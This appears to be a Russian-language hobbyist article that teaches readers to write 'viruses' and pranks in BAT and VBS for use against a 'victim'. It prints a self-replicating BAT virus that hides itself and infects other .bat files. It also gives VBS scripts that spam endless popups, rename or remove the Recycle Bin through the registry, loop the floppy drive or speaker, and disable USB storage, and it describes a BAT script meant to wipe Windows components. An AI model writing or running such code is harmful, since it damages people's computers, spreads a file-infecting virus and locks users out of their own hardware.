В этот раз давайте не будем писать bat файлы в огромных количествах (ну если только один или два). А займемся мы VBS.
Начнем мы с bat да-да для разминочки. Кто не знает что это за исполняймые файлы с разрешение bat или cmd тот нажимает Win+R и выполняет CMD и пишет help.Надеюсь дальше обьяснять не нужно. Так вот наш супер большой и сложный вирус будет состоять из нескольких строк. Только для начала нам придется открыту нашу любимую командную строку и набрать SET это надо для того чтобы узнать список переменных сред Windows.нам интересна последняя строка windir - это переменная заменяет полный путь к папке Windows. Начнем?Открываем notepad(блокнот) и пишем эту пургу.
Сохраняем наш файл как I_LOVE_YOU.bat и радуемся. После запуска такой микровещи на машине не будет не рабочего стола ни менеджера задач ни драйверов.
Я обещал один? Да?Извините не стерпел и вот выкладываю второй ...
******************************** @echo off%[Bams]% if '%1=='In_ goto Bamsin if exist c:\Bams.bat goto Bamsru if not exist %0 goto Bamsen find "Bams"<%0>c:\Bams.bat attrib +h c:\Bams.bat :Bamsru for %%t in (*.bat) do call c:\MeTrA In_ %%t goto Bamsen :Bamsin find "Bams"<%2>nul if not errorlevel 1 goto Bamsen type c:\Bams.bat>>%2 :Bamsen *********************************
Это более сложный вирус но он и более интересный . Он ползает по винту ищет и заражает собой *.bat файлы.
Все!Переходим к VBS вирусам. Язык VBS в винде поддерживается с 98 версии и не требует установки дополнительных библиотек и другой ненужной фигни).по другому VBS-язык скриптов
Ну приступим с самого легкого напугаем жертву страшным сообщением.Типа:Через минуту ваша крыса заболеет бешенством!Поставить прививку? И спросим ДА или НЕТ.-32 С количеством показа 1 и временем показа 0(то есть пока не выберит что он хочет) Значок выберим вопроса кнопки да и нет-4
Открываем блокнот и пишем.
*********************************** Set S = CreateObject("Wscript.Shell") set FSO=createobject("scripting.filesystemobject") i=1 while i>0 or i<0 S.popup "Через минуту ваша крыса заболеет бешенством!Поставить прививку?",0, "Айболит",4+32 i=i-1 wend *************************************
сохраняем это чудо как mouse.vbs
Если кто то хочет чтоб значок был восклицание тот пишет 48 Вместо 32. Дальше мы разберемся с этими параметрами).
Попугали значит мы жертву сообшениями (или бабушку которая любит пасьянс ) и движемся вперед. А впереди у нас корзина(скучное название) надо бы его изменить например на Свалку или Бомжатник все зависит от фантазии но код очень простой.
***************************************
Set S = CreateObject("Wscript.Shell") set FSO=createobject("scripting.filesystemobject") s.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString","Свалка"
***************************************
Название то поменяли только зачем нам свалка на столе? Еще место занимает а не снести линам ее вообше? Нет проблем для этих сучаев имеем это чудо.
****************************************
Set S = CreateObject("Wscript.Shell") set FSO=createobject("scripting.filesystemobject") s.regdelete"HKLM\SOFTWARE\Microsoft\Windows\Curren tVersion\Explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}\"
****************************************
Не устал мой друг? Если нет то мы подолжаем чудить , а если честно то только начинаем. Что то скучно.надо бы музыку для поднятия настроения ну тут у нас два выхода либо мы заставляем трещать флопигрыз ,либо пишать бесприрывно встроенный динамик.Выбор за вами. Вот это прикол с флопигрызом.
*****************************************
Set S = CreateObject("Wscript.Shell") set FSO=createobject("scripting.filesystemobject")
do fso.getfile("A:\") loop
******************************************
ну а это уже динамик.
******************************************
Set S = CreateObject("Wscript.Shell") set FSO=createobject("scripting.filesystemobject")
do execute"S.Run ""%comspec% /c "" & Chr(7), 0,True" loop
*******************************************
Ну теперь мы займемся более серьезными вещами. Бывают случаи что надо порализовать либо клавиатуру либо мышку. Клавиатуру в накаут выводим так:
*******************************************
Set S = CreateObject("Wscript.Shell") set FSO=createobject("scripting.filesystemobject")
Затем нам вдруг приспичило отключить все что висит на USB портах.Ну например чтоб чел не успел сохранить весь дорогой ему сердцу мусор на флешку. И мы делаем обрезание портов=)
**********************************************
Set S = CreateObject("Wscript.Shell") set FSO=createobject("scripting.filesystemobject") s.regwrite"HKLM\SYSTEM\CurrentControlSet\Services\ USBSTOR\Start","4","REG_DWORD"
**********************************************
Ну вот я и немного ввел вас в мир шуток и подлянок на VBS. Это только первая часть моей небольшой статьи.
